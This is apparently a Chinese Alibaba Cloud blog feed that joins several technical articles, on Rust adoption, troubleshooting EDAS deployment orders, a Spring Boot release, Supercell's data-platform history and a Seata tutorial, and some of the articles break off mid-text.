    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg 本文讲了很多的不同沟通场景中的技巧,这些沟通技巧有的时候换个角度也可以看成沟通中的套路。在这里,我需要强调一下,一个沟通的成败,套路的东西会有效果,但是效果也是有限的,沟通中更重要的还是要看沟通的动机。你沟通的目的是不是希望要实现 “1+1>2” 的效果,你是不是有一个开放的心态,是不是重视差异化、视每次冲突是成长的机会。只要是有一个真诚的心,就算沟通技巧上问题重重,我相信别人还是愿意和你合作。这就是所谓的:“多一点真诚,少一点套路!” 查看原文

    往期回顾

    第101期:2020阿里云弹性计算年度发布 活动页面 直播视频

    数字经济蓬勃发展,企业上云已成浪潮;云计算时代,企业需要从流量端到IT架构做更精细的优化;疫情突袭,降本增效成为各个企业的首要命题。
    阿里云弹性计算十年,与客户一同进化,重构计算服务,帮助客户应对挑战,业务创新。

    第100期:mPaaS 小程序新品发布 活动页面 直播视频

    源自于支付宝小程序框架,亿级线上业务体量的锤炼,安全性媲美支付宝原生能力。不仅面向自有 App 投放小程序,更可快速构建打包,覆盖支付宝、淘宝、钉钉等应用。

    第99期:阿里云微服务引擎MSE2.0重磅升级发布 活动页面 直播视频

    注册和配置中心是微服务架构中的重要组件,往往采用 ZK/Nacos/Eureka 等开源方案进行自建,但因其依赖复杂,往往给客户带来的较高的建设和运维成本,同时,在 Hbase、Spark或 Kafka 等大数据的环境下,会依赖 ZK 进行分布式系统的协调,此时,基于微服务引擎 MSE 提供的托管服务,可以极大的降低运维复杂度,并提高可用性。

    第98期:云数据库Redis 6.0版重磅首发 活动页面 直播视频

    Redis 作为稳居世界排名第一的 KV 内存数据库,同时也是最受欢迎的开源缓存产品,是应对高并发,大流量,低延迟业务场景的不二选择。6.0版本为Redis史上最重量级的一次发布,距离社区版 GA 仅不到一周时间,阿里云全球首发最新版 Redis 6.0云数据库,全面涵盖开源Redis 6.0,包括RESP3新协议的支持,ACL 管理,多 IO 线程,SSL 加密,客户端缓存,集群代理等多项重大更新。在本次发布会中,您还将了解到:最新的Redis产品技术解读、前瞻性的Redis社区发展方向解析等。

    第97期:专属钉钉解决方案全新上线 活动页面 直播视频

    钉钉的用户数量已经突破3亿,客户对钉钉提供企业版的诉求越来越强。针对企业级共性需求,客户可按需选择专属设计、专属存储、专属安全和最高级别的专属App,定制出千人千面的钉钉,助力企业打造自己的钉钉。

    第96期:企业出海全球化网络新品发布会 活动页面 直播视频

    中国企业全球化正当时,在国内人口红利见顶,国家政策支持的双背景之下,“全球化”被越来越多的企业视为发展新赛道。出海浪潮下,企业如何利用云服务快速占据先机?本议题将为您分享阿里云对出海战略的洞察,详解阿里云网络服务如何全力支持各领域海外业务拓展。

    第95期:阿里云EDAS 3.0版重磅升级发布会 活动页面 直播视频

    EDAS3.0在微服务治理、K8s集群纳管和监管控一体化、生态集成等基础能力上进行了全面的升级。本次发布会,EDAS资深技术专家和资深产品专家将重磅发布EDAS3.0版本,同时还邀请了安利和云途时代分享EDAS业务实践,讲述数字化转型实战故事。

    第94期:阿里云政企安全加速解决方案全新发布 活动页面 直播视频

    阿里云政企安全加速解决方案是依托阿里云全球分布的加速节点、领先的安全防护及等保合规等能力,打造的边缘安全和加速一站式服务,解决政府、金融、传媒、传统企业内容分发安全和加速性能的问题,为云上业务保驾护航!

    第93期:机器学习PAI DSW2.0 & Alink商业版新品发布会 活动页面 直播视频

    PAI起初是一个定位于服务阿里集团的机器学习平台,致力于让AI技术更加高效、简洁、标准的被公司内部开发者使用。对集团内,PAI服务了淘宝、支付宝、高德等部门的业务。随着PAI的算法的不断积累,2015年底PAI作为天池大赛的官方比赛平台在阿里云正式上线,也成为了国内最早的云端机器学习平台之一。随着PAI在阿里云的业务的不断发展,2018年PAI平台正式商业化,目前已经在公有云积累了数万的企业客户以及个人开发者,是目前国内领先的云端机器学习平台之一。

    第92期:云服务器ECS内存增强型实例re6全新发布 活动页面 直播视频

    实例是能够为您的业务提供计算服务的最小单位,不同的实例规格可以提供的计算能力不同。本章节为您介绍在售的所有ECS实例规格族,包括每种实例规格族的特点、在售规格和适用场景。根据业务场景和使用场景,ECS实例可以分为多种实例规格族。根据CPU、内存等配置,一种实例规格族又分为多种实例规格。ECS实例规格定义了实例的基本属性:CPU和内存(包括CPU型号、主频等)。但是,ECS实例只有同时配合块存储、镜像和网络类型,才能唯一确定一台实例的具体服务形态。

    第91期:5大安全产品全面升级在线发布 活动页面 直播视频

    IT基础设施云化和业务全面上云,企业在享受数字红利的同时,安全也变得更为重要。阿里云5款产品全面升级,从混合云安全、容器安全、身份管理等多个主流安全维度全面提升产品能力,让企业能够快速利用云原生安全优势,提升自身安全体系建设,同时也能快速应对疫情多变性,满足数字化发展长远安全需求。

    资料下载

    开放下载!新品发布产品资料

    最新产品发布资料大合集 ,以及你想了解的讲师PPT都可点击下载!

    产品动态

    新功能/版本:

    1、 日志服务 - 日志服务打通阿里云操作审计日志,支持接入ECS、RDS、OSS的平台操作日志 查看产品 产品文档

    行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。全面提升海量日志处理能力,实时挖掘数据价值,智能助力研发/运维/运营/安全等场景。

    2、 大数据计算服务 - MaxCompute使用包年包月计算资源作业支持优先级功能 查看产品 产品文档

    MaxCompute(原ODPS)是一项大数据计算服务,它能提供快速、完全托管的PB级数据仓库解决方案,使您可以经济并高效的分析处理海量数据。欢迎加入钉钉交流群11782920。
    MaxCompute — 持续定义SaaS模式云数据仓库 >>

    3、 终端访问控制系统 - 阿里云安全产品 - 终端访问控制系统 - 应用加固发布 查看产品 产品文档

    移动开发平台(mPaaS)是源于支付宝的移动开发平台,为移动开发、测试、运营及运维提供云到端的一站式解决方案,能有效降低技术门槛、减少研发成本、提升开发效率,协助企业快速搭建稳定高质量的移动应用。

    扫描二维码加入社区圈

    阿里云新品发布会交流群:群号(30675445)点击加入

    5555

    ]]>
    该不该在 Rust 上做点投资? Fri, 02 May 2025 09:39:04 +0800 作者 | 雷卷
    来源 | 凌云时刻(微信号:linuxpk)


    前言

    Rust 在 Stack Overflow 上连续5年被评为最想学习的编程语言,一直备受好评,所以这篇文章完全就是标题党,当然必须投资,明眼人都知道,也不需要我来为Rust摇旗呐喊。

    image.png

    下面内容是我个人一些学习点滴,同时结合我平时工作的一些情况,探讨一下 Rust 的可行性,算是落地场景讨论吧。

    当然你可以理解为一个Up主做直播,没有什么话题,就是和大家随便聊聊技术,不过我这个是文字版的。


    Rust 和云

    微软的这篇文章 Microsoft: Rust Is the Industry's 'Best Chance' at Safe Systems Programming 阐述的非常清楚,云是工业级的产品,当然需要工业级的安全系统。这里的安全不是指互联网安全等,而是软件开发中的 Memory Safe、Type Safe 和 Thread Safe等,这样才能保证产品的运行其的稳定性。

    我们知道新产品发布后,接下来一段时间基本就是各种 bug 修复,这些 bug 通常不是业务上的 bug,而是代码级别的 bug,比如内存溢出啊、空指针、并发控制没有做好导致数据错误等等。这些 bug 都很难被测试出来,如果有一个好的开发语言能帮助消除这方面潜在的很多问题,是不是非常好?

    性能,这个大家不用担心,Rust is as fast as C and C++。

    我非常认同文章中的观点,Rust 是非常好的基础设施类云产品开发语言,这是稳定性的保障,也是对客户负责。大家都说用互联网的思维做云产品,但是云厂商的重要客户都是企业客户,稳定性保障是第一位的,可能让企业来用自己的业务来为云产品试错。

    另外一个消息:Programming languages: Now Rust project looks for a way into the Linux kernel, 也就是 Linux 内核可能拥抱 Rust 语言,当然 Linus Torvalds 是已经认可啦。

    image.png


    产品 Rust SDK 开发

    使用 Rust 开发基础设施云产品的优点就不赘述啦!性能好、稳定性高。

    如果我们做不到产品用 Rust 开发,那么是不是普通程序员就不能接触 Rust 啦?完全不是,这里有一个产品
    Rust SDK 开发。很多云厂商的中间件产品都是 Java 语言、Cpp 语言开发的,我们都需要开发不用开发语言的 SDK,如 Java SDK、Python SDK 等。

    那么产品的 Rust SDK 有什么不同之处吗?这里我给你解释一下。这里我们就举 Alibaba Dubbo 的例子吧,如果你不知道 Dubbo,现在只要理解为分布式 RPC 调用框架就可以。Dubbo Rust SDK 有以下一些特点:

    • 为Rust应用提供访问 Dubbo 的服务支持

    如果客户的系统本来就是采用 Rust 开发,那么通过Rust访问 Dubbo 服务,这个需求应该没有什么好反驳的吧?要知道 Rust Web 框架 Actix-web 在性能测试中是排名靠前的。当然对 Dubbo Rust SDK,尤其针对IO和网络这一块,基本上都是通过 Tokio 实现的,所以默认就是支持异步化的,性能当然也是非常高的。

    稍等一下,写一个涉及网络调用的 SDK 哪那么简单啊?

    你就说一下使用 Tokio,还是有非常多的工作量的,不是那么好写的。 理论上是这样的,但是如果你看一下 Tokio 0.2.22版本的 tutorial ,你会发现就非常简单啦!这个 tutorial 不是告诉你如何写一个 Echo Server & Client,而是告诉你如何实现一个 Mini Redis,文档和代码样例都非常全,你只要一些调整,估计就能初步实现产品 Rust SDK 的功能。

    image.png


    • 为 Rust WebAssembly 提供访问 Dubbo 支持

    我们知道 WebAssembly 当前首选语言是Rust,假设你想在 WebAssembly 中访问 Dubbo 服务,如在浏览器中,我们只需要做 WebSocket 适配,在 WebAssembly 独立运行环境,我们可以通过 WASI Socket 来访问 Dubbo 服务。而针对 Wasm 的 Rust SDK 基本就是共享 Rust SDK 代码,然后做一些修改。

    当然 WebAssembly 还承担着通用开发包(Universal Library)的角色,如果大家看过 wasmtime demo 的例子就应该能理解。


    • 为 Deno JavaScript / TypeScript 提供访问 Dubbo 支持

    这里我们不想讨论 Node.js 和 Deno 谁是最后大赢家的问题,假设一些 JavaScript / TypeScript 的开发工程师选择了 Deno,我们知道 Deno 是基于 Rust 构建的,通过 Deno Plugin 为 JS / TS 提供调用接口,然后通过对应产品的 Rust SDK 实现,这样你不需要做太多的工作,使用 Deno 平台的同学就可以通过 JS / TS 访问你发布的服务啦。

    Node.js 的开发者众多,但是我们都知道使用C++开发一个 Node.js 扩展不是那么容易的,只有极少数的同学有这个能力。那么开发一个 Deno Rust Plugin 复杂吗?可以说是非常简单,你只需要参考一下 Calcite 框架, 有非常好的文档和样例,同时结合一下 https://crates.io/ 上的开发包,开发一个高质量的 Deno Rust plugin 非常简单。


    • 为 C 语言提供访问 Dubbo 服务支持

    如何为 C 语言提供 Dubbo 的访问支持?如果你问这个问题,估计会被打死的,但是没有关系,假设一些 ARM 设备的 C 程序想访问 Dubbo 服务,我们完全可以通过 Rust FFI 导出 cdylib 库,提供给C语言调用,这样省去我们开发 C SDK 的成本,而且这个成本并不低。我之前还想给 RSocket 写一个 C 的 SDK,仔细想了一下还是放弃啦,现在打算通过 Rust SDK 来为 C 提供访问接口。如果 C 能访问,那么基于 C 之上的一些小众语言,如 Lua 等,是不是也是可以访问 Dubbo 服务的。


    • 为其他语言提供运行期支持

    上面我们谈到了 Rust SDK 通过 FFI 为 C 语言提供对应的 SDK,同样原理还可以套用到其他语言上,典型的就是 Calling Rust From Python,这个网上一堆案例,同样的还试用于 Ruby 语言。Java 有没有对应的案例呢?有的,就是 java-ext-wasm 这个项目,也就是在 JVM 中内嵌 WebAssembly 运行期环境,来运行 WebAssembly,而这个 WebAssembly Runtime 就是 Rust 编写的。


    Rust 的开发者体验

    Rust 的开发体验非常好,我们都知道 JavaScript 的开发者体验基本是 No.1 的,所以我们就不拿 Rust 和 Golang、Java 来对比,我们直接看一下 Rust 和 JavaScript 的开发体验对比,如下:

    image.png

    个人觉得 Rust 一些方面比 JavaScript 还好,如内置单元测试支持、example 样例支持、 文档 doc、代码格式化 format、Clippy(Linter) 等支持,这个是比 JS 要好一些的。

    如果你拿 C++ 和 Rust 做开发者体验对比,那简直是地下和天上,诸如 Linux、Windows 和 Mac 平台的一致性等,这些都是 C++ 无法 Rust 对比的,更不用说 Rust 还有 https://crates.io/ ,这个也是 C++ 没有的。

    目前来说,Rust 一个不好的开发者体验就是编译速度太慢,没有办法,编译器做了非常多的工作,但是好像有一个 sccache - Shared Compilation Cache 能提升编译速度,这个我还没有使用过,可能是我的项目都不够大,我还没有遇到编译速度非常慢的情况,基本还能接受。 当然 Rust 社区也在讨论 pre-built 依赖问题,可能需要一些时间。


    Rust 没有想象的那么复杂 学习成本没有那么高

    讲到这里,一定有同学想尝试学习和了解Rust,那么学习成本高不高?个人觉得要从几个方面来看。

    • 学习资料

    在所有的开发语言中,Rust 的文档是最好的,没有之一。https://www.rust-lang.org/learn 上的《The Rust Programming Language》 可以说是最好的学习图书,完全免费,且更新比较快。个人觉得质量堪比 Pragmatic Bookshelf 的《Programming Ruby》,但是 Rust 是免费的,而且经常更新的。当然其他 Rust 相关的文档,如 Rust By Example,Rust WebAssembly 等,文档质量都非常高。

    另外大家都喜欢的 Cheat Sheet,你看一下 Rust 的 Cheat Sheet,就明白啦。 https://cheats.rs/

    当然其他语言也有对应的文档,但是我想问一下有几个 Java 开发者是去 Oracle Java 站点学习 Java 的?但是 Rust 做的就不一样,所有的学习文档都堪称一流,让你学习无压力。


    • Rust Module 理解起来不容易

    确实刚开始一头雾水,我觉得这篇文章 Clear explanation of Rust’s module system 非常好,废话多说无益,看完后基本全明白啦!

    image.png


    • Rust Ownership

    刚接触的同学非常头痛,至少我是,但是这也是 Rust 的特点,没有 GC,但是能做到 GC 差不多的效果,当然要走不同寻常路。但是也没有那么头痛,找几篇 Rust Ownership 的文章看一下,就可以啦。另外我推荐一下这个站点,这个老头的 Rust 教学视频非常好,非常容易理解, 资料也比较多,相信你看啦就明白啦,你只需要一个好的指导。

    image.png


    • Rust Enum

    Rust 的 Enum 功能非常强大,这个要特别留意一下,个人觉得 Swift 的 Enum 能和 Rust Enum 有一拼。我们经常看到其他语言中的 Result、Optional 等,在 Rust 中都是通过 Enum 实现的。


    • Tokio

    Rust 其他的特性我就不说啦,其他语言都有。这里说明一下 Tokio。

    Tokio 是 Rust 下的异步化框架,其地位相当于 Netty 在 Java 的作用,知名的 Deno 框架就是基于 V8 + Rust + Tokio 构建的。如果你有 JavaScript 的经验同时了解 Promise,那么 Tokio 的 Future async / await 和 JavaScript 的 Promise async / await 差不多,Tokio 的 Asynchronous stream 和 JavaScript 的 AsyncIterableIterator 也类似,学习的成本并不高。如果是 Java 程序员,可能理解起来有些吃力,但是如果你了解 Java 下的 Reactive 框架,如 RxJava 和 Reactor,那么理解起来也比较容易。


    总结

    当然这些是个人学习、编写一些 Rust Demo 和 Deno 了解等得出的结论,没有什么大道理,就是落实在一些点上,当然也就不可能非常全面,也就提供给你参考一下。

    最后,学习一门语言,千万不要听什么语言大师的,就是自己看资料、写 Demo、同时多看一些知名开源软件的代码,然后自己得出结论,哪怕是那种从入门到放弃的那种。

    另外大家都可以参考一下 Considering Rust,帮助你更好地了解 Rust。

    扫描下方二维码关注“凌云时刻”公众号回复“Rust”获取Considering Rust演讲文稿PDF

    image.png

    ]]>
    EDAS发布单工作原理及问题排查 Fri, 02 May 2025 09:39:04 +0800 引言

    用户在使用EDAS进行应用变更的时候,一定会接触到发布单功能。发布单以图形化的方式展现了应用部署、启动、停止和扩缩容等操作的具体过程,并能查看发布脚本的执行日志,以及出错信息。对于分批进行的变更,用户可以看到每一批变更的具体信息,对于手动分批的变更,还可以在发布单界面里进行“继续”操作。如果需要中途停止变更,可以使用“终止变更”功能强行中断正在进行的操作,从而减少因误操作而造成的损失。
    图1:EDAS发布单界面展示.png

    图1:EDAS发布单界面展示

    但发布单到底是如何工作的呢?为什么EDAS控制台上的操作可以影响ECS上的应用进程?这些发布单脚本到底是什么?如果发布单里出现了异常,有哪些排查的方法呢?本文将为您一一进行揭晓。

    发布单的工作原理

    图2:发布单工作原理图.png

    图2:发布单工作原理图

    (1)当用户提交应用变更请求以后,会先经过Gateway进行鉴权,然后传递给EAM服务。
    (2)EAM服务会将此变更请求生成为一条发布单记录,并存储在Redis缓存中。
    (3)AgentServer服务中运行有一个定时任务,会定时从Redis缓存中拉取发布单。
    (4)EAM服务将下发发布单任务到运行在ECS上的StarAgent服务。
    (5)发布单在ECS上执行并回传日志数据。
    这里用户可能会有疑问,为什么EAM服务将发布单放入Redis缓存之后,AgentServer拉取到的发布单任务又返还给EAM来进行下发,难道不是多此一举吗?这里其实Redis不仅仅是缓存,而是充当了一个消息队列。消息队列的能力包括异步处理和削峰填谷,当有大量发布单请求进入系统的时候,EAM会先将数据存储在Redis中,此时发布单提交操作就结束了。但是发布单的真正运行是由下游的AgentServer定时拉取后返还给EAM,从而实现了异步执行的效果。另外因为每个发布单的时间长短不一,但通常都是分钟级,这对于请求响应式的在线服务而言太过漫长,会导致线程池被占满,从而影响系统为后续请求提供服务。引入消息队列以后当有大量请求进入系统的时候会先缓存到队列中,再由系统慢慢消化处理,不至于让系统在高峰期失去服务能力。因此看上去多此一举的设计,在大规模分布式系统中起到了非常重要的作用。
    各组件之间的交互时序图如下:
    图3:各组件交互时序图.png

    图3:各组件交互时序图

    发布单的结构

    如图1所示,发布单模型具有一定的结构,从图中大致可以看出发布单有三个层级,如下图所示:
    图4:发布单层级图.png

    图4:发布单层级图

    一个发布单由若干条流水线组成,每条流水线又分为几个阶段,最后一个阶段下面包含一些任务,由此构成了发布单的结构模型。其中Event和Listener是发布单的通知机制,当一个任务结束以后,其通过事件报告自己的完成状态,再由其他组件通过Listener监听该事件进行一些业务逻辑上的后续处理。一个发布单的样例描述文件如下:
    图5:发布单样例描述文件.png

    图5:发布单样例描述文件

    可以看出该发布单有一条流水线(edas-app-deploy)和四个阶段(startPipeline、slbOffline、vipserverOfflineStage和deployApp),而每个阶段下又包含数量不等的任务,比如deployApp阶段包含hsfOffline、preStoreInstance和stopInstance等三个任务。阶段和任务都包含一些描述属性,例如任务之间是串行还是并行执行,每个任务的失败重试次数,以及是否忽略错误等等。

    发布单问题排查

    图6:发布单问题排查流程.png

    图6:发布单问题排查流程

    • service类型的任务,主要是涉及外部服务的调用,service类型的任务有(括号中是任务对应的名称,在日志中展示的是括号中的名称):

    Teinge上线/下线(tengineOnline/tengineOffline)
    Tegine配置更新(updateTengineConfig)
    SLB上线/下线、SLB设置权重(slbOnline/slbOffline、reopenSLBInstance/muteSLBInstance)

    • agent类型任务,需要通过staragent把命令下发到用户ECS上执行,主要有(括号中是任务对应的名称,在日志中展示的是括号中的名称):

    下载/安装Tomcat(pullTomcatPack/)
    下载应用程序包(pullWar)
    应用实例启动/停止(startInstance/stopInstance)
    Teigine启动/停止(startTengineInstance/stopTengineInstance)
    下载镜像(pullImage)
    URL/端口健康检查(healthCheckWithURL/healthCheckWithPort)
    删除应用实例/Tegine实例数据(deleteInstanceData/deleteTengineInstanceData)
    HSF服务优雅下线(hsfOffline)
    更新Tomcat配置(updateTomcatConfig)
    更新命令执行所需的python脚本(updateTaskScript)

    基本排查步骤

    (1)当应用实例生命周期变更操作出现问题,首先通过变更列表,进入发布单详情,查看具体执行失败的任务日志,根据错误具体信息,来定位问题。
    (2)Agent类型任务,可以在用户ECS机器上查看/home/admin/edas/logs/tasks/{taskId},用taskId标示(这些日志可以在控制台发布单详情页,具体任务“查看日志”功能中可以看到),也可以查看ECS上的日志/home/admin/edas/script/logs/edas.action.trace;也可以通过查询数据库,查询SQL: select cmd from cmd_record where cid = ‘任务Id’,任务id可以在发布单详情页面具体任务执行日志的最上方查看。
    tip:命令执行手动执行时不要最后的-q、–async等,通常以bash开头。
    (3)如果命令在机器上执行没有失败,则综合分析agent-server、edas-admin、edas-console的日志,定位错误原因。
    (4)service类型的任务,例如Tegine上下线、Tegine状态更新、SLB上下线、SLB权重设置等任务,需要在EDAS服务组件上查看相关日志。

    • Tegine任务命令下发在EDAS-AGENT-SERVER/home/admin/edas/logs/changeorder.log,或者/home/admin/edas/logs/agent-server.log中查询,回调日志在edas-admin中/home/admin/edas/logs/admin.log或者/home/admin/edas/logs/tengine.log中查询,参考tegine流程管控流程来定位问题。
    • SLB日志在EDAS-AGENT-SERVER/home/admin/edas/logs/slb.log,或者/home/admin/edas/logs/agent-server.log中查询。
    • 其他服务类型的日志可以在/home/admin/edas/logs/agent-server.log,或者/home/admin/edas/logs/changeorder.log中查询。

    常见问题解决思路

    • 命令通道不通

    这个直接可以通过发布单详情页中任务执行的日志来定位问题:一般任务执行日志有“please check if service is available”字样,可以在机器上执行pkill -9 staragent && /home/staragent/bin/agent.sh start,然后让用户重置应用实例。

    • 普通应用用户ECS目录或文件权限为root,无法操作相关文件

    一般在任务执行日志,或者edas.action.trace中会有显示权限不够的信息,可以在机器上执行chown admin:admin {要修改的目录或文件},然后重试。

    • Tegine启动、停止失败

    大多是一些前置操作失败或者目录权限不正确造成的,通常可以通过重置解决。

    • exit XXX 常见错误原因

    exit 3: 磁盘满(du -h)
    exit 5: 域名解析失败(ping -c 1 $domain 测试)
    exit 8: 下载脚本或WAR包失败,通常为4XX/5XX(curl测试)

    • Tegine上下线、状态更新失败

    查看与tegine管控交互的日志,定位问题,多起是因为Tegine上线的操作失败,造成后续对Tegine的操作失败;可以通过重置解决。

    • SLB上下线失败、权重设置失败

    通过查询EDAS-AGENT-SERVER/home/admin/edas/logs/slb.log,或者/home/admin/edas/logs/agent-server.log日志定位。

    作者:唐睿

    阿里云智能基础产品团队产品专家

    阿里云智能中间件和容器团队产品专家,15年企业级分布式架构及业务研发和产品经验,目前主要负责阿里云中间件PaaS领域的产品设计、用户洞察及技术布道等工作。打造更好、更易用、更满足用户需要的阿里云产品。

    我们是阿里云智能全球技术服务-SRE团队,我们致力成为一个以技术为基础、面向服务、保障业务系统高可用的工程师团队;提供专业、体系化的SRE服务,帮助广大客户更好地使用云、基于云构建更加稳定可靠的业务系统,提升业务稳定性。我们期望能够分享更多帮助企业客户上云、用好云,让客户云上业务运行更加稳定可靠的技术,您可用钉钉扫描下方二维码,加入阿里云SRE技术学院钉钉圈子,和更多云上人交流关于云平台的那些事。
    阿里云SRE技术学院(钉钉圈子)-lyl.png

    ]]>
    搞事情?Spring Boot今天一口气发布三个版本 Fri, 02 May 2025 09:39:04 +0800

    学无止境?本文已被 https://www.yourbatman.cn 收录,里面一并有Spring技术栈、MyBatis、JVM、中间件等小而美的专栏供以免费学习。关注公众号【BAT的乌托邦】逐个击破,深入掌握,拒绝浅尝辄止。

    前言

    各位好,我是A哥(YourBatman)。今天是2020-07-25,上午我正从https://start.spring.io准备down一个工程下来的时候,打开页面发现默认选中的Spring Boot版本号是2.3.2

    并非我刻意的去找到这个变化,而是由于我昨天 down下来的工程使用的Spring Boot版本是2.3.1,印象还在,所以今天一下子就发现了差异。

    既然升级了(虽然是小版本号),那就去官方楼一眼呗。不看不知道,一看还真让发现些内容:Spring Boot在同一天(2020-07-25)一口气发布了三个版本,这是要搞事情啊?

    小贴士:本文所有时间若未做特殊说明,指的均是北京时间

    正文

    Spring Boot目前还处于Active活跃的分支共有三个:

    因此就在今天,同一天里Spring Boot对它的这三条线做了更新:

    • Spring Boot 2.3.1 -> Spring Boot 2.3.2
    • Spring Boot 2.2.8 -> Spring Boot 2.2.9
    • Spring Boot 2.1.15 -> Spring Boot 2.1.16


    此次发版,距离上次正式发版(不区分分支)已足足有44天之久。

    有哪些升级?

    参考github上的Release详情,三个分支有如下三方面的改进:

    1. ]]> 数据中台的前世今生 Fri, 02 May 2025 09:39:04 +0800 就像20年前的虚拟化,5年前的容器化,这两年的中台化似乎也是势不可挡。但凡跟互联网沾边的行业,金融、零售、通讯都开始规划各自的中台化战略。抛开行业属性比较强的业务中台,我们今天就单独来讲讲数据中台的发展过程。
      说到中台,就不得不提一家公司:芬兰的游戏厂商Supercell。2015年年中,马云带领阿里巴巴集团高管,拜访了位于芬兰赫尔辛基的移动游戏公司Supercell。这家成立于2010年,仅凭政府借贷的30万欧元起家,从芬兰30平米小隔间走出来的游戏公司在短短4年时间里凭借《海岛奇兵》《部落冲突》《卡通农场》这三款游戏获得了17亿美元的收入,因此惊动了马云。
      Supercell首先带给马云的是组织的变革。Supercell将组织按产品线分割,而非传统的职能分割,管理以自底向上的方式,其创始人埃卡·潘纳宁在接受采访时就表示希望成为全球最“弱”的CEO,所有决定由游戏团队来做,毕竟研发者才是最接近玩家的,他们比任何人都更清楚玩家的需求。扁平化的管理也使得开发流程更加高效,敏捷的不仅是开发团队,还包括整个组织。由此阿里开始了根据产品进行事业群编制
      1.png

          解决了组织架构,为满足企业在不同时期所面临的外部并发,技术架构也必须是弹性扩展的,为此Supercell在成立第二年(2011年)就完成了应用的微服务化与数据库层的切片。甚至来说Supercell的微服务更轻量级,所有的游戏都复用一套网关代理、主页模块、匹配模块和战斗模块。整个组织使用一套高可用的组件库,一种开发语言,一个团队即One Repo,One Language,One Team。这**比阿里的三One概念早了整整八年**。

      2.png
      说到这里,大家多少可以看出一些端倪:阿里的组织和技术沿革很大程度上参照了这家公司的历史,那这家公司又是怎么发展起来,并且发展到什么程度了呢?
      最早的时候(2010年),Supercell的游戏很单一,数据量也不大,联机系统可以满足一切的查询/报表请求,因此对于数据汇聚集中分析的需求并不大,处在数据库阶段
      2020-07-26_1-14-57.jpg
      随着数据量的增加,OLTP无法同时支持事务处理和资料调取的请求,OLAP的业务开始多了起来,尤其是需要对用户的一些行为做分析,这些行为事件发生在客户端也可能在服务端,需要有一个统一的整合平台即数仓进行统一归集分析,Supercell选择了AWS的S3做为存储,并通过QlikView做界面展示
      2020-07-26_1-31-14.jpg
      由此便引申出了中台能力发展的第二个阶段,数据仓库阶段,这一阶段为日后的数据中台建设提供了全域数据,即生产资料
      2020-07-26_1-27-39.jpg
      随着游戏种类以及实时计算需求的增加,2013年下半年,Supercell终于考虑添加流式管道(Streaming Pipeline)作为数据缓冲层,由于之前和AWS的良好合作,这次的流管产品多数团队也是投票给了Kinesis,相对于Kafka,它的运维更加简单,体验更好(天生与AWS管理界面集成),后续可以对接各种事件消费者,不论是实时查询面板,第三方集成,实时分析,还是通过统一的KV日志格式集成入库S3。
      3.png
      4.png
      这一阶段,仓库进化为数据湖/大数据平台,具备了计算能力和流式数据的处理能力,可以提供算法输出,从而更好地服务前端应用。
      2020-07-26_2-01-35.jpg
      同年在数据湖设计上,Supercell使用Azkaban批量工作流任务调度器将CSV数据加载到AWS的Vertica数仓中,数据科学家通过开发接口对历史数据进行分析,形成一些数据服务,对内或对外输出。
      5.png

      这个架构在之后几年里遇到了新的瓶颈。首先Vertica集群的负载达到的峰值,第二在ETL的时候查询会变得缓慢,第三数仓的扩容花费巨大,第四存储与计算耦合紧密,第五再大的宽表数据库都会有列的极限。注意到这些问题之后,Supercell致力于:
      • 限制Vertica的数据存储量;
      • 将存储与计算资源切割;
      • 将ETL流程与查询流程切割;
      • 维护单一来源的置信数据;
      • 利用云的便利性优化资源使用。

            到2018年,公司决定将Amazon S3作为单一置信来源,以Parquet列表的形式存放数据,将Amazon EMR用作ETL转存目标,原来的Vertica只用来存放计算结果(例如账号、统计数据和KPI)而不是原始数据。

        6.jpg

        这样一来,Azkaban还是控制ETL流程,只是这次加载到Amazon EMR托管集群平台,然后以多张Parquet列表的形式存放到Amazon S3中,因为公司已经对数据行数做了切片,使用列表存储更能提升存储效率。

        分布式的S3作为唯一置信源,消费使用与列表更加契合的Athena作为查询工具,数据科学家可以到计算平台EMR中查看实时数据并做分析,包装成实时数据产品,也可以通过界面工具到置信源S3或结果数仓Vertica中查看OLAP大数据并进行建模分析,生成数据产品。

      7.png
      在2018年完成改造之后,由于EMR的延展性,可以瞬间扩展出大量的数据集就很好地解决了列宽的问题,并且有效地将存储与计算分离(EMR负责计算,S3负责存储)。在ETL时可以通过计划任务扩建一个集群跑ETL,跑完之后释放资源。而且EMR的环境对于数据科学团队来说更加友好。
      2020-07-26_2-23-33.jpg
      至此,数据中台的生产要素已全部构建完成,包括了数据(生产资料)、算法(生产工具)和算力(生产者),形成了人工驱动,自动学习的服务模式,支持绝大多数业务的同时实现了企业自身数据价值的最大化。

      展望未来,数据分析能力的强大并不能解决业务对于实时性的要求,而从各大云厂商纷纷致力于自身消息队列产品的开发来看,距离纯事件驱动的分布式消息中台不会太远,传统的分布式HDFS存储以后只能作为消息中台的归档系统,而像ETL,结构化数据库会渐渐淡出历史舞台,至少在互联网,大数据类的行业会是这样。

      ]]>
      微服务分布式事务解决方案-springboot整合分布式seata1.3.0 Fri, 02 May 2025 09:39:04 +0800 概述

      Seat是蚂蚁金服和阿里巴巴联合推出的一个开源的分布式事务框架,在阿里云商用的叫做GTS。
      项目地址:https://github.com/longxiaonan/springcloud-demo

      官网:http://seata.io/zh-cn/index.html

      一个XID和三个概念:

      • Transaction ID (XID) : 全局唯一的事务ID
      • Transaction Coordinator (TC) : 事务协调器,维护全局事务的运行状态
      • Transaction Manager (TM):控制全局事务的边界,负责开启一个全局事务
      • Resource Manager (RM):控制分支事务,负责分支注册、状态汇报,并接受TC的提交或者回滚操作

      事务分为全局事务和本地事务。

      全局事务通过XID(全局唯一事务id)来标识。分支通过分支id和资源id来标识,标签每个分支事务都标有XID来标识是属于哪个全局事务。

      事务流程如下:

      image.png

      1. TM向TC申请开启一个全局事务,全局事务创建成功并且生成一个全局唯一的XID;
      2. XID在微服务调用链路的上下文中传播;
      3. RM向TC注册分支事务,汇报事务资源准备状态,将其纳入XID对应全局事务的管辖;
      4. RM执行业务逻辑;
      5. TM结束分布式事务,事务一阶段结束,通知TC针对XID的全局提交或回滚决议;
      6. TC汇总事务信息,决定分布式事务是提交还是回滚;
      7. TC调度XID下管辖的RM的分支事务完成提交或者回滚请求,事务二阶段结束。

      TC,TM和RM对应到实际服务节点

      全局事务需要在服务调用方的service上开启,服务调用方就是TM,其他被调用方就是RM。

      image.png

      两段提交的详细过程

      一阶段加载:
      image.png

      二阶段提交
      image.png

      二阶段提交失败,则进行回滚

      image.png

      image.png

      下载seata

      下载地址:http://seata.io/zh-cn/blog/download.html

      本文采用的是 seata 1.3.0 (2020-07-14)

